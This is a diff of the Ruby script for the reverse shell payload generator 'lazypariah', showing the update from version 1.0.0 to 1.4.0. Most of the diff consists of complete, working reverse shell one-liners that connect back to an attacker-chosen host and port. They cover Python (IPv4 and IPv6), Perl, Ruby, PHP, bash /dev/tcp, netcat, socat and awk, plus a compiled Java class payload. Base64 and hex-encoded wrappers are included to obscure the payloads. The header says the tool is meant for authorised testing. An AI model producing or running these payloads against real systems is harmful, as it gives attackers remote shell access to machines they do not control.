lazypariah 1.0.0 → 1.4.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/bin/lazypariah +272 -64
  3. metadata +4 -4
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 39fa66ebf06f26ea52ea9033989efa12ac2a517eaaecc9403c71f5cc6e2e0203
4
- data.tar.gz: f8de654a384319b9b3f11cb8dd5d0c0618ed17086115144c92fee6b5e20a29c5
3
+ metadata.gz: aea5f9ef7a85656b9d440fc44f3c061a4a6f2a8d0172b9f5c6f8af2d831f309a
4
+ data.tar.gz: d60c230377cc65427a71bb76abdef639f382669370b16dca70ea8862878f5a42
5
5
  SHA512:
6
- metadata.gz: c8ec9e1b3e0301e242ebe549db465103c72bd47b5b8799df416846143d6d61352f427e8dcb2b030dd03c4988558275bc2127b06df501f771ff989e20909be014
7
- data.tar.gz: 82cd305608c676d0254d7bd9177cc2e227363fbfdbb5878628d82cc3adccef4719ad78eb06a4d6dbe5a06009fbe1431e591b57e09937d3fd9419922e90e8b5e2
6
+ metadata.gz: 8c2e2981ac7c68c60b20c335926add3a953b8fc7829f8d6f23abe303526d578fdcaca6ef4cc04c091f174a58f0d63dcf4c836a76101819fc541583eb9f35e86d
7
+ data.tar.gz: c542e1c298d1466b5f4f39fafc359ff164c299dc77058fc41a93aaefbc7242ab8b5834392d98a204ac77183c20acda0cee39362d2a9d887181576c569bbae2c6
data/bin/lazypariah CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env ruby
2
2
  #
3
3
  # Title: LAZYPARIAH
4
- # Version: 1.0.0
4
+ # Version: 1.4.0
5
5
  # Description:
6
6
  # LAZYPARIAH is a simple tool for generating various reverse shell payloads
7
7
  # on the fly. It is intended to be used only in authorised circumstances by
@@ -29,7 +29,7 @@ require "stringio"
29
29
 
30
30
  # Define constants.
31
31
  PROGRAM_NAME = "LAZYPARIAH".freeze()
32
- PROGRAM_VERSION = "1.0.0".freeze()
32
+ PROGRAM_VERSION = "1.4.0".freeze()
33
33
  EXECUTABLE_NAME = "lazypariah".freeze()
34
34
 
35
35
  # Define payload list.
@@ -38,6 +38,10 @@ PAYLOAD_LIST = [
38
38
  "python_c",
39
39
  "python_b64",
40
40
  "python_hex",
41
+ "python_ipv6",
42
+ "python_ipv6_c",
43
+ "python_ipv6_b64",
44
+ "python_ipv6_hex",
41
45
  "nc",
42
46
  "nc_pipe",
43
47
  "php_fd",
@@ -45,6 +49,8 @@ PAYLOAD_LIST = [
45
49
  "php_fd_tags",
46
50
  "php_system_python_b64",
47
51
  "php_system_python_hex",
52
+ "php_system_python_ipv6_b64",
53
+ "php_system_python_ipv6_hex",
48
54
  "perl",
49
55
  "perl_c",
50
56
  "perl_b64",
@@ -56,21 +62,51 @@ PAYLOAD_LIST = [
56
62
  "bash_tcp",
57
63
  "awk",
58
64
  "socat",
59
- "java_class_binary",
60
- "java_class_b64",
61
- "java_class_gzip_b64",
65
+ "java_class",
62
66
  "c_binary",
63
- "c_binary_b64",
64
- "c_binary_hex",
65
- "c_binary_gzip",
66
- "c_binary_gzip_b64",
67
- "c_binary_gzip_hex"
67
+ "rust_binary",
68
+ "nc_openbsd"
68
69
  ].sort()
69
70
 
71
+ # Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
72
+ PAYLOAD_BC_DICT = {
73
+ "php_fd_3"=>{"payload"=>"php_fd", "fd"=>"3"},
74
+ "php_fd_4"=>{"payload"=>"php_fd", "fd"=>"4"},
75
+ "php_fd_5"=>{"payload"=>"php_fd", "fd"=>"5"},
76
+ "php_fd_6"=>{"payload"=>"php_fd", "fd"=>"6"},
77
+ "php_fd_3_c"=>{"payload"=>"php_fd_c", "fd"=>"3"},
78
+ "php_fd_4_c"=>{"payload"=>"php_fd_c", "fd"=>"4"},
79
+ "php_fd_5_c"=>{"payload"=>"php_fd_c", "fd"=>"5"},
80
+ "php_fd_6_c"=>{"payload"=>"php_fd_c", "fd"=>"6"},
81
+ "php_fd_3_tags"=>{"payload"=>"php_fd_tags", "fd"=>"3"},
82
+ "php_fd_4_tags"=>{"payload"=>"php_fd_tags", "fd"=>"4"},
83
+ "php_fd_5_tags"=>{"payload"=>"php_fd_tags", "fd"=>"5"},
84
+ "php_fd_6_tags"=>{"payload"=>"php_fd_tags", "fd"=>"6"},
85
+ "python3_c"=>{"payload"=>"python_c", "pv"=>"3"},
86
+ "python2_c"=>{"payload"=>"python_c", "pv"=>"2"},
87
+ "python3_b64"=>{"payload"=>"python_b64", "pv"=>"3"},
88
+ "python2_b64"=>{"payload"=>"python_b64", "pv"=>"2"},
89
+ "python3_hex"=>{"payload"=>"python_hex", "pv"=>"3"},
90
+ "python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"},
91
+ "c_binary_b64"=>{"payload"=>"c_binary", "b64"=>true},
92
+ "c_binary_hex"=>{"payload"=>"c_binary", "hex"=>true},
93
+ "c_binary_gzip"=>{"payload"=>"c_binary", "gzip"=>true},
94
+ "c_binary_gzip_b64"=>{"payload"=>"c_binary", "gzip_b64"=>true},
95
+ "c_binary_gzip_hex"=>{"payload"=>"c_binary", "gzip_hex"=>true},
96
+ "rust_binary_b64"=>{"payload"=>"rust_binary", "b64"=>true},
97
+ "rust_binary_hex"=>{"payload"=>"rust_binary", "hex"=>true},
98
+ "rust_binary_gzip"=>{"payload"=>"rust_binary", "gzip"=>true},
99
+ "rust_binary_gzip_b64"=>{"payload"=>"rust_binary", "gzip_b64"=>true},
100
+ "rust_binary_gzip_hex"=>{"payload"=>"rust_binary", "gzip_hex"=>true},
101
+ "java_class_binary"=>{"payload"=>"java_class"},
102
+ "java_class_b64"=>{"payload"=>"java_class", "b64"=>true},
103
+ "java_class_gzip_b64"=>{"payload"=>"java_class", "gzip_b64"=>true}
104
+ }
105
+
70
106
  # Define function for displaying program information.
71
107
  def prog_info(donation_info=true)
72
108
  puts("#{PROGRAM_NAME} #{PROGRAM_VERSION}")
73
- puts("Copyright (C) 2020 Peter Bruce Funnell")
109
+ puts("Copyright (C) 2020-2021 Peter Bruce Funnell")
74
110
  if donation_info
75
111
  puts("\nBTC Donation Address (Author): 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g")
76
112
  end
@@ -80,8 +116,8 @@ end
80
116
  option_parser = OptionParser.new do |options|
81
117
  options.banner = "\nUsage:\t#{EXECUTABLE_NAME} [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>\n"
82
118
  options.banner << "Note:\t<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.\n\n"
83
- options.banner << "Example:\tlazypariah -u python3_b64 10.10.14.4 1555\n"
84
- options.banner << "Example:\tlazypariah python2_c malicious.local 1337\n\n"
119
+ options.banner << "Example:\tlazypariah -u python_b64 10.10.14.4 1555\n"
120
+ options.banner << "Example:\tlazypariah python_c malicious.local 1337\n\n"
85
121
  options.banner << "Valid Payloads:\n"
86
122
  PAYLOAD_LIST.each do |p|
87
123
  options.banner << "#{" "*4}#{p}\n"
@@ -93,7 +129,12 @@ option_parser = OptionParser.new do |options|
93
129
  options.on("-v", "--version", "Display version information and exit.")
94
130
  options.on("-D INTEGER", "--fd INTEGER", "Specify the file descriptor used by the target for TCP. Required for certain payloads.")
95
131
  options.on("-P INTEGER", "--pv INTEGER", "Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.")
96
- options.on("-N", "--no-new-line", "Do not append a new-line character to the end of the payload.\n\n")
132
+ options.on("-N", "--no-new-line", TrueClass, "Do not append a new-line character to the end of the payload.")
133
+ options.on("--b64", "Encode a c_binary, rust_binary or java_class payload in base-64.")
134
+ options.on("--hex", "Encode a c_binary, rust_binary or java_class payload in hexadecimal.")
135
+ options.on("--gzip", "Compress a c_binary, rust_binary or java_class payload using zlib.")
136
+ options.on("--gzip_b64", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.")
137
+ options.on("--gzip_hex", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.\n\n")
97
138
  end
98
139
 
99
140
  # Define port_check method for strings.
@@ -104,14 +145,14 @@ class String
104
145
  end
105
146
 
106
147
  # Define print_output.
107
- def print_output(s, url_encode=false, new_line=true)
148
+ def print_output(s: "", url_encode: false, new_line: true)
108
149
  if url_encode
109
150
  print(ERB::Util.url_encode(s))
110
151
  else
111
152
  print(s)
112
153
  end
113
154
  if new_line
114
- puts()
155
+ puts("\n")
115
156
  end
116
157
  end
117
158
 
@@ -146,7 +187,7 @@ begin
146
187
  puts("\nToo many command line arguments were given to #{PROGRAM_NAME}.\n")
147
188
  puts(option_parser)
148
189
  exit()
149
- elsif not PAYLOAD_LIST.include?(ARGV[0])
190
+ elsif not PAYLOAD_LIST.include?(ARGV[0]) and not PAYLOAD_BC_DICT.include?(ARGV[0])
150
191
  prog_info()
151
192
  puts("\n#{PROGRAM_NAME} did not recognise the specified payload. Please consult the valid list of payloads below.\n")
152
193
  puts(option_parser)
@@ -171,67 +212,149 @@ begin
171
212
  exit()
172
213
  end
173
214
 
174
- case ARGV[0]
215
+ # Parse encoding/compression command-line arguments for binary payloads.
216
+ b64_payload = arguments[:"b64"]
217
+ hex_payload = arguments[:"hex"]
218
+ gzip_payload = arguments[:"gzip"]
219
+ gzip_b64_payload = arguments[:"gzip_b64"]
220
+ gzip_hex_payload = arguments[:"gzip_hex"]
221
+
222
+ # Ensure that only one encoding/compression command-line argument can be used for binary payloads.
223
+ bin_cla_counter = 0
224
+ bin_cla_array = [b64_payload, hex_payload, gzip_payload, gzip_b64_payload, gzip_hex_payload]
225
+ bin_cla_array.each do |a|
226
+ bin_cla_counter += a ? 1 : 0
227
+ end
228
+ if bin_cla_counter > 1
229
+ puts("More than one encoding/compression-related command-line argument was entered. This error arises when e.g. --b64 and --gzip are both used together as separate command-line arguments. If you would like to use zlib to compress a binary payload such as c_binary or java_class and encode the result in base-64, use --gzip_b64. Only one encoding/compression-related command-line argument may be used.")
230
+ exit()
231
+ end
232
+
233
+ # Parse payload, applying aliases for backwards compatibility with versions < 1.0.0.
234
+ if PAYLOAD_BC_DICT.include?(ARGV[0])
235
+ bc_dict = PAYLOAD_BC_DICT[ARGV[0]]
236
+ selected_payload = bc_dict["payload"]
237
+ tcp_fd = bc_dict["fd"]
238
+ python_version = bc_dict["pv"]
239
+ b64_payload = bc_dict["b64"]
240
+ hex_payload = bc_dict["hex"]
241
+ gzip_payload = bc_dict["gzip"]
242
+ gzip_b64_payload = bc_dict["gzip_b64"]
243
+ gzip_hex_payload = bc_dict["gzip_hex"]
244
+ else
245
+ selected_payload = ARGV[0]
246
+ end
247
+
248
+ case selected_payload
175
249
  when "python"
176
- print_output("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
250
+ # Python reverse shell.
251
+ print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
252
+ when "python_ipv6"
253
+ # Python IPv6 reverse shell.
254
+ print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
177
255
  when "python_c"
178
- print_output("python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
256
+ # Python reverse shell (intended to be run as a command from a shell session).
257
+ print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
258
+ when "python_ipv6_c"
259
+ # Python IPv6 reverse shell (intended to be run as a command from a shell session).
260
+ print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
179
261
  when "python_b64"
262
+ # Base-64-encoded Python reverse shell (intended to be run as a command from a shell session).
180
263
  code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
181
- print_output("echo #{code} | base64 -d | python#{python_version}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
264
+ print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
265
+ when "python_ipv6_b64"
266
+ # Base-64-encoded Python IPv6 reverse shell (intended to be run as a command from a shell session).
267
+ code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
268
+ print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
182
269
  when "python_hex"
270
+ # Hex-encoded Python reverse shell (intended to be run as a command from a shell session).
183
271
  code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
184
- print_output("echo #{code} | xxd -p -r - | python#{python_version}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
272
+ print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
273
+ when "python_ipv6_hex"
274
+ # Hex-encoded Python IPv6 reverse shell (intended to be run as a command from a shell session).
275
+ code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
276
+ print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
185
277
  when "php_system_python_b64"
278
+ # Hybrid shell: python_b64 payload contained within a system function in a miniature PHP script.
186
279
  python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
187
- print_output("<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
280
+ print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
281
+ when "php_system_python_ipv6_b64"
282
+ # Hybrid shell: python_ipv6_b64 payload contained within a system function in a miniature PHP script.
283
+ python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
284
+ print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
188
285
  when "php_system_python_hex"
286
+ # Hybrid shell: python_hex payload contained within a system function in a miniature PHP script.
189
287
  python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
190
- print_output("<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
288
+ print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
289
+ when "php_system_python_ipv6_hex"
290
+ # Hybrid shell: python_ipv6_hex payload contained within a system function in a miniature PHP script.
291
+ python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
292
+ print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
191
293
  when "nc"
192
- print_output("nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
294
+ # Netcat reverse shell.
295
+ print_output(s: "nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
193
296
  when "nc_pipe"
194
- print_output("/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
297
+ # Alternative netcat reverse shell (using a pipe).
298
+ print_output(s: "/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
195
299
  when "php_fd", "php_fd_c", "php_fd_tags"
300
+ # PHP reverse shells targeting a particular file descriptor (FD).
196
301
  if not tcp_fd
197
302
  puts("The payload you have selected requires a file descriptor to be specified. Please specify the file descriptor used by the target for TCP via the command-line argument \"-D NUMBER\" or \"--fd NUMBER\".")
198
303
  else
199
- case ARGV[0]
304
+ case selected_payload
200
305
  when "php_fd"
201
- print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
306
+ # Basic PHP reverse shell (without PHP tags).
307
+ print_output(s: "$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
202
308
  when "php_fd_c"
203
- print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
309
+ # Basic PHP reverse shell (intended to be run as a command from a shell session).
310
+ print_output(s: "php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
204
311
  when "php_fd_tags"
205
- print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");?>", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
312
+ # Basic PHP reverse shell (with PHP tags).
313
+ print_output(s: "<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
206
314
  end
207
315
  end
208
316
  when "perl"
209
- print_output("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
317
+ # Perl reverse shell.
318
+ print_output(s: "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
210
319
  when "perl_c"
211
- print_output("perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
320
+ # Perl reverse shell (intended to be run as a command from a shell session).
321
+ print_output(s: "perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
212
322
  when "perl_b64"
323
+ # Base-64-encoded Perl reverse shell (intended to be run as a command from a shell session).
213
324
  code = Base64.strict_encode64("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};")
214
- print_output("echo #{code} | base64 -d | perl", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
325
+ print_output(s: "echo #{code} | base64 -d | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
215
326
  when "perl_hex"
327
+ # Hex-encoded Perl reverse shell (intended to be run as a command from a shell session).
216
328
  code = "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};".unpack("H*")[0]
217
- print_output("echo #{code} | xxd -p -r - | perl", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
329
+ print_output(s: "echo #{code} | xxd -p -r - | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
218
330
  when "ruby"
219
- print_output("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
331
+ # Ruby reverse shell.
332
+ print_output(s: "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
220
333
  when "ruby_c"
221
- print_output("ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
334
+ # Ruby reverse shell (intended to be run as a command from a shell session).
335
+ print_output(s: "ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
222
336
  when "ruby_b64"
337
+ # Base-64-encoded Ruby reverse shell (intended to be run as a command from a shell session).
223
338
  code = Base64.strict_encode64("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end")
224
- print_output("echo #{code} | base64 -d | ruby", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
339
+ print_output(s: "echo #{code} | base64 -d | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
225
340
  when "ruby_hex"
341
+ # Hex-encoded Ruby reverse shell (intended to be run as a command from a shell session).
226
342
  code = "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end".unpack("H*")[0]
227
- print_output("echo #{code} | xxd -p -r - | ruby", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
343
+ print_output(s: "echo #{code} | xxd -p -r - | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
228
344
  when "bash_tcp"
229
- print_output("bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
345
+ # Bash reverse shell.
346
+ print_output(s: "bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
230
347
  when "awk"
231
- print_output("awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
348
+ # Awk reverse shell.
349
+ print_output(s: "awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
232
350
  when "socat"
233
- print_output("socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
234
- when "java_class_binary", "java_class_b64", "java_class_gzip_b64"
351
+ # Socat reverse shell.
352
+ print_output(s: "socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
353
+ when "nc_openbsd"
354
+ # Netcat (OpenBSD) reverse shell.
355
+ print_output(s: "rm /tmp/r; mkfifo /tmp/r; cat /tmp/r | /bin/sh -i 2>&1 | nc #{ARGV[1]} #{ARGV[2]} > /tmp/r", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
356
+ when "java_class"
357
+ # Java class reverse shells (compiled on the fly).
235
358
  code = "import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class rs {public rs() throws Exception {Process p=new ProcessBuilder(\"/bin/sh\").redirectErrorStream(true).start();Socket s=new Socket(\"#{ARGV[1]}\",#{ARGV[2]});InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0) {so.write(pi.read());}while(pe.available()>0) {so.write(pe.read());}while(si.available()>0) {po.write(si.read());}so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;} catch (Exception e) {}}p.destroy();s.close();}}"
236
359
 
237
360
  temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
@@ -241,13 +364,24 @@ begin
241
364
 
242
365
  File.open(temp_dir+"/rs.class", "r") do |f|
243
366
  java_payload = f.read()
244
- case ARGV[0]
245
- when "java_class_binary"
246
- print_output(java_payload, new_line=false)
247
- when "java_class_b64"
367
+ if b64_payload
248
368
  java_payload_b64 = Base64.strict_encode64(java_payload)
249
- print_output(java_payload_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
250
- when "java_class_gzip_b64"
369
